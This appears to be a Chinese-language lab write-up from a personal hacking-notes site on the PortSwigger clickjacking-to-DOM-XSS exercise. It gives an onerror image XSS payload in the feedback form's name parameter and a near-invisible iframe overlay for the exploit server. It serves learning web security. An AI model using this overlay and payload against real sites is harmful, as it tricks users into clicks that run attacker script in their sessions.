> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/clickjacking/clickjacking-to-trigger-dom-xss.md).

# 通过点击劫持触发 DOM XSS

通过点击劫持触发 DOM XSS 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用点击劫持漏洞触发基于 DOM 的 XSS

#### 目标

诱使用户点击嵌入在 iframe 中的按钮（“Click Me”）以运行 `print()` 函数，通过点击触发的 XSS 漏洞。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-135e840a3483f88961ce24c6dcaf0e0e665e5fb8%2Fimage%20(346).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 上下文 / 观察

* 该 **反馈** 表单有一个 `name` 参数存在 DOM 型 XSS 漏洞（当图片加载失败时，JavaScript payload 会运行并调用所需函数）。
* 检测到的 payload 示例： `&name=<img src=0 onerror=print()>`.

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a89ed1469c96f1daf327a8fba87802a078bdd71f%2Fimage%20(347).png?alt=media" alt=""><figcaption></figcaption></figure>

* 用于在框架中预填表单的其他有用参数： `email`, `subject`, `message`.

#### 使用的有效载荷

要触发 `print()` 通过……中的漏洞 `name`:

```html
<img src=0 onerror=print()>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3cf337a5ebc19e889b954f09f33d01509156e030%2Fimage%20(348).png?alt=media" alt=""><figcaption></figcaption></figure>

* 包含一个 `<iframe>` 指向 `/feedback` 带有预填参数的易受攻击页面（`name`, `email`, `subject`, `message`）并包含 XSS payload。

```
?name=jordan&email=hello@jord4n.pro&subject=hacked&message=hack
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9df9caa349040520c320a642f392b71d98f1c20c%2Fimage%20(350).png?alt=media" alt=""><figcaption></figcaption></figure>

1. 让框架几乎不可见（极低的不透明度），并在其上方叠加一个诱饵，位置要使受害者的点击落到框架内的“Click Me”按钮上。
2. 当受害者点击诱饵时，点击会传递到框架并触发 DOM 型 XSS —— 这里 `print()` 被调用。

#### 在漏洞利用服务器上托管的示例代码

```html
<style>
iframe{
width: 1000px;
height:900px;
}
div{
position: relative;
top: 830px;
left: 80px;
}
</style>
<div>点击</div>
<iframe src="https://0a6200db035e811c815e804300ac0083.web-security-academy.net/feedback?name=%3Cimg%20src=0%20onerror=print()%3E&email=hello@jord4n.pro&subject=hacked&message=hack"</iframe>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ba8cbe6c1cd798b3a82e42a844b74f337e45b87%2Fimage%20(351).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-740eaf6309dc4fbc1503387e721a3bf209a9b34d%2Fimage%20(353).png?alt=media" alt=""><figcaption></figcaption></figure>


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